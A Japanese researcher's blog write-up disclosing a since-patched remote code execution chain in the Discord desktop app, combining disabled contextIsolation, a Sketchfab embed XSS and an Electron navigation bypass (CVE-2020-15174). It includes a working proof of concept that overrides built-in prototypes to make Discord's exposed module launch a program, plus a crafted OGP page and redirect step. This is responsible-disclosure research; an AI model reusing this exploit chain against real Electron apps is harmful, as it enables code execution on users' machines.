2020/10/18

DiscordデスクトップアプリのRCE

数か月前、ゲームのコミュニティなどで人気のチャットアプリ「Discord」のデスクトップ用アプリケーションに任意のコードを実行可能な問題を発見し、Bug Bounty Programを通じて報告しました。発見したRCEは、複数のバグを組み合わせることによって達成される面白いものだったので、この記事では、その詳細を共有したいと思います。なお、現在脆弱性は修正されています。

調査のきっかけ

Electronアプリの脆弱性を探したい気分だったので、Electronアプリで報奨金が出るアプリを探していたところ、Discordが候補にあがりました。Discordは自分自身が利用者で、自分が使うアプリが安全かどうかをチェックしたいという思いもあったので、調査をすることにしました。

発見した脆弱性

私は主に次の3つのバグを組み合わせることでRCEを達成しました。

  1. contextIsolationオプションの不使用
  2. 埋め込みコンテンツのXSS
  3. ナビゲーション制限のバイパス(CVE-2020-15174)

1つずつ紹介していきます。

contextIsolationオプションの不使用

Electronアプリを検査するとき、私がまず確認しているのが、ブラウザウィンドウを作成するときに使用するBrowserWindow APIで使われているオプションです。まずオプションをチェックして、レンダラ上に読み込まれたページのXSSなどを通じて任意のJavaScriptを実行できた場合に、RCEの達成ができそうかを確認します。

Discordのソースコードは公開されていませんが、ElectronのJS部分はローカルにasar形式で圧縮して保存されており、単に圧縮を解くことによって確認することができました。

メインウィンドウでは、以下のオプションが使用されていました。 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

ここで特にチェックすべき重要なオプションは、nodeIntegrationとcontextIsolationです。上記のコードから、Discordのメインウィンドウでは、nodeIntegrationはfalse、contextIsolationはfalse(使われているバージョン時点でのデフォルト)に設定されていることがわかりました。

nodeIntegrationがtrueになっていれば、レンダラ上に読み込まれたページのJavaScriptから、require呼び出しを介して、シンプルにNode.jsの機能を使うことができます。例えば、Windows上で電卓を呼び出すJavaScriptは次のようになります。

<script>
  require('child_process').exec('calc');
</script>

今回は、nodeIntegrationはfalseに設定されていたので、このように直接requireを使ってNode.jsの機能を使うことはできません。

しかしまだ、Node.js機能へのアクセスの可能性は残っています。もう1つ重要と言ったオプション、「contextIsolation」はfalseでした。RCEの可能性を排除したければ、この設定をfalseにすべきではありません。

contextIsolationが無効になっていると、Webページ上で実行されたJavaScriptが、Electron自体がレンダラで使っているJavaScriptコードや、プリロードスクリプト(以下、これらをWebページ外のJavaScriptコードと呼ぶこととします)の実行に影響を与えることができてしまいます。例えば、JavaScriptのビルトインメソッドであるArray.prototype.joinをWebページ上で別の関数で上書きした場合、Webページ外のJavaScriptコード上でjoinが使用されると、それらの箇所でも上書きされた関数が呼び出されるという具合になります。

この動作は危険です。というのも、これらのWebページ外のJavaScriptコードでは、Node.js機能へのアクセスがnodeIntegrationの設定にかかわらず許されており、Webページから上書きした関数でそれらのコードの実行に干渉することで、nodeIntegrationがfalseであっても、RCEを実現できる場合があるためです。

なお、そのようなトリックがElectronに存在することは、以前までは全く知られておらず、私も参加したCure53が2016年行ったElectronアプリケーションの検査の中で初めて発見されました。その後、Electron自体の問題として対処され、このcontextIsolationオプションが導入されたという背景があります。

その時の検査のレポートが以下に最近公開されたので、よければご覧ください。

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

また、私が以前イベントでこの問題について発表した資料も以下にあります。


contextIsolationは、WebページとWebページ外のJavaScriptコードとの間に別々のコンテキストを導入し、それぞれのコードの実行がそれぞれに影響を与えないようにします。RCEの可能性を排除するためには必ず有効にすべき機能ですが、今回Discordでは無効になっていました。

contextIsolationが無効になっていることが分かったので、Webページ外のJavaScriptコードに干渉することで任意のコードの実行を実現できるような箇所を探し始めました。

通常、私がElectronの検査でRCEのPoCを作成するときは、まずElectron自体がレンダラで使っているJavaScriptコードを利用してRCEを実現しようとします。これは、Electron自体がレンダラで使っているJavaScriptコードはどんなElectronアプリでも実行されるため、基本的には同じ攻撃コードでRCEを実現でき、簡単だからです。

スライドでは、ナビゲーション時に実行されるElectron内部のコードを利用してRCEできることを紹介しましたが、そのように利用できる箇所がいくつか存在しています。 (このあたりの方法については、いずれまとめたいと思います。) 

ただし、使用されているElectronのバージョンや設定されているBrowserWindowオプションなどによって、コードが変更されていたり、うまくそのコードに到達できないことがあり、今回はうまくいかなかったので、プリロードスクリプトにターゲットをうつしました。

すると、Discordは、プリロードスクリプトからWebページ上に関数を公開しており、DiscordNative.nativeModules.requireModule('モジュール名') を通じて、一部の許可されたモジュールを呼び出せるようにしていることがわかりました。ここで直接child_processなどのRCEに利用できるモジュールを使うことはできませんでしたが、ビルトインメソッドの上書きによって、公開されたモジュールの実行に干渉することで、RCEを実現できる箇所を発見しました。

以下がそのPoCです。discord_utils というモジュールが定義するgetGPUDriverVersionsRegExp.prototype.testArray.prototype.joinを以下のような関数で上書きした状態でdevTools上から呼び出すと、電卓が起動することを確認できました。

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersionsは、以下のように、関数内でexecaというライブラリを使用してプログラムの実行を行おうとします。

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

execaはnvidiaSmiPath変数で指定されたプログラム「nvidia-smi.exe」を実行しようとしていますが、RegExp.prototype.testArray.prototype.joinを上書きしたことで、execa内部の処理で、引数がcalcに変更されます。

具体的には次の2か所を変更することで引数を取り換えています。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

あとはこのスクリプトを実行する方法をアプリ上で発見すれば、実際にRCEが達成可能ということになります。

埋め込みコンテンツのXSS

任意のJavaScriptの実行からRCEが起きうることはわかったので、アプリ上でXSSを探し始めました。XSSが起きやすそうなオートリンク機能やMarkdownのサポートがありましたが、うまく作られているようでした。そこで私はiframeの埋め込み機能に目を付けました。iframeの埋め込み機能とは、YouTubeのURLを張り付けたときなどに動画プレーヤーが自動で展開され、チャット上で再生できるような機能のことです。

Discordは、URLが貼り付けられると、そのURLのOGP情報を取得しに行き、OGP情報がある場合は、ページのタイトルや概要、サムネイル画像や関連付けられた動画などをチャット上にインライン表示します。

このOGPから、動画のURL情報を取り出し、その"動画のURLが" 埋め込みを許可されたドメインにあり、埋め込み用ページのURLの形をしていれば、iframeの埋め込みが許可されます。

どのサービスがiframeへ埋め込まれるかは、どこかにドキュメント化されていなかったのでCSPのframe-srcディレクティブを見ることでヒントを得ました。以下がその時設定されていたCSPです。

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

YouTubeやTwitch、Spotifyなど、明らかにiframeへの埋め込みを目的に許可されたドメインがあるのがわかります。私はこの中のサービスから、OGPの動画情報部分にURLを指定して、iframeに埋め込まれるかどうかを1つ1つ確認し、そのURL上にXSSがないか探しました。すると、ここにリストされているドメインの1つ「sketchfab.com」の埋め込み用URLで、URLが埋め込まれ、そのURL上でXSSを発見できました。私はこの時に初めてSketchfabを知ったのですが、3Dモデルを公開したり売買できるプラットフォームのようです。3Dモデルへ付加できる脚注中にシンプルなDOM-based XSSがありました。

以下は脆弱性レポート中でも使用した細工したOGPを持ったページです。このURLをチャットに投稿すると、Sketchfabのiframeがチャット上に表示され、iframe上で数回のクリック操作を実行するとスクリプトが発火していました。

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

さて、XSSを発見したのはいいのですが、JavaScriptはまだiframe中で実行されています。Electronはiframe内にWebページ外のJavaScriptコードをロードしないので、iframeからビルトインメソッドを上書きしても、クリティカルな部分に干渉することができません。RCEのためには、iframeの外に出て、トップレベルブラウジングコンテキストでJavaScriptを実行する必要があります。これには、iframeから新しいウィンドウを開くか、topのウィンドウをiframeから別のURLへナビゲートする必要がありそうです。

新しいウィンドウのオープンとtopウィンドウのナビゲーションは、Mainプロセス側の以下のコードで、"new-window"および"will-navigate"イベントを監視することで制限されているようでした。

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

このコードを見る限りでは、うまく新しいウィンドウのオープンとナビゲーションを制限しているように見えました。ところが、予想外のことが起きました。

ナビゲーション制限のバイパス(CVE-2020-15174)

ひとまずブロックされる様子を見てみようと思い、実際に動かしてみると、iframeからtopへのナビゲーションがなぜかブロックされなかったのです。普通は、ナビゲーションが発生する前にwill-navigateイベントによって捕捉され、preventDefault()によってナビゲーションは中断されるはずです。

不思議に思い、この動作を模倣する小さなElectronアプリを作って確かめてみると、iframeから発生したtopへのナビゲーションから、will-navigateイベントがなぜか送出されていないことがわかりました。iframeのURLがtopと同一オリジンの場合はちゃんと送出されるのですが、どうやらクロスオリジンにあると送出されないようなのです。クロスオリジンのときだけイベントが送出されない特別な理由があるとは思えないので、Electronのバグであると考え、後でElectron Teamへ報告することにしました。

このバグに助けられ、ナビゲーション制限をバイパスすることができました。あとは、iframe内のXSSを使って、top.location="//l0.cm/discord_calc.html"などとして、topをRCEを実行するコードを含んだページへナビゲートするだけです。

このように、3つのバグを組み合わせ、以下の動画のように電卓を実行することができました。


おわりに

これらの問題は、DiscordのBug Bounty Programを通じて報告しました。まず、Sketchfabの埋め込みが無効化され、iframeにsandbox属性をつけることでiframeからナビゲーションを起こせないような回避策がとられました。その後、しばらくしてcontextIsolationが有効化され、任意のJavaScriptを実行できたとしても、ビルトインメソッドの上書きからRCEが起きないようになりました。この発見の報奨金として$5,000をいただきました。

SketchfabのXSSは、SketchfabのBug Bounty Programを通じて報告し、修正されました。こちらも$300の報奨金をいただきました。

will-navigateイベントが送出されない動作はElectronのバグとしてElectronのセキュリティ窓口を通じて報告したところ、以下のように脆弱性(CVE-2020-15174)として修正されました。

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

以上、Electronアプリ「Discord」の脆弱性について紹介しました。アプリ自体のコードとは無関係の、外部ページのXSSやElectronのバグのせいでRCEに繋がっている点が個人的にはとても面白いと思います。2016年頃にElectronに初めて触れたときは、XSSがあれば一発RCEの危険なプラットフォームという印象でしたが、現在はElectronのデフォルトでcontextIsolationを有効化するなど、安全側に倒そうとする動きがあり、少しずつセキュリティ面が改善されてきているように思います。いいことですね。

この記事がElectronアプリを安全にするための一助となれば幸いです。